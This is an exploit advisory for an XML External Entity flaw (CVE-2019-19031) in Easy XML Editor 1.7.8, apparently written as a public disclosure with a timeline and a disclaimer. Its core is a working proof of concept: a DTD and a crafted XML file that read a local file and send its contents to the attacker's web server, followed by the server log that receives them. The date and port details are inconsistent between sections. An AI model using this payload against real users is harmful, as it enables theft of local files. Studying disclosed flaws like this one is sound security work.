Easy XML Editor 1.7.8 - XML External Entity Injection

# Exploit Title: Easy XML Editor 1.7.8 - XML External Entity Injection
# Exploit Author: Javier Olmedo
# Date: 2018-11-21
# Vendor: Richard Wuerflein
# Software Link: https://www.edit-xml.com/Easy_XML_Editor.exe
# Affected Version: 1.7.8 and before
# Patched Version: unpatched
# Category: Local
# Platform: XML
# Tested on: Windows 10 Pro
# CWE: https://cwe.mitre.org/data/definitions/611.html
# CVE: 2019-19031
# References:
# https://hackpuntes.com/cve-2019-19031-easy-xml-editor-1-7-8-inyeccion-xml/
 
# 1. Technical Description
# Easy XML Editor version 1.7.8 and before are affected by XML External Entity Injection vulnerability
# through the malicious XML file. This allows a malicious user to read arbitrary files.
 
# 2. Proof Of Concept (PoC)
# 2.1 Start a webserver to receive the connection.

python -m SimpleHTTPServer 80

# 2.2 Upload the payload.dtd file to your web server.

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://localhost:80/?%file;'>">
%all;

# 2.3 Create a SECRET.TXT file with any content in desktop.

# 2.4 Open poc.xml

<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "file:///C:\Users\<USER>\Desktop\secret.txt">
<!ENTITY % dtd SYSTEM "http://localhost:80/payload.dtd">
%dtd;]>
<pwn>&send;</pwn>

# 2.5 Your web server will receive a request with the contents of the secret.txt file

Serving HTTP on 0.0.0.0 port 8000 ...
192.168.100.23 - - [11/Nov/2019 08:23:52] "GET /payload.dtd HTTP/1.1" 200 -
192.168.100.23 - - [11/Nov/2019 08:23:52] "GET /?THIS%20IS%20A%20SECRET%20FILE HTTP/1.1" 200 -

# 3. Timeline
# 13, november 2019 - [RESEARCHER] Discover
# 13, november 2019 - [RESEARCHER] Report to vendor support
# 14, november 2019 - [DEVELOPER]  Unrecognized vulnerability
# 15, november 2019 - [RESEARCHER] Detailed vulnerability report
# 22, november 2019 - [RESEARCHER] Public disclosure

# 4. Disclaimer
# The information contained in this notice is provided without any guarantee of use or otherwise.
# The redistribution of this notice is explicitly permitted for insertion into vulnerability
# databases, provided that it is not modified and due credit is granted to the author.
# The author prohibits the malicious use of the information contained herein and accepts no responsibility.
# All content (c)
# Javier Olmedo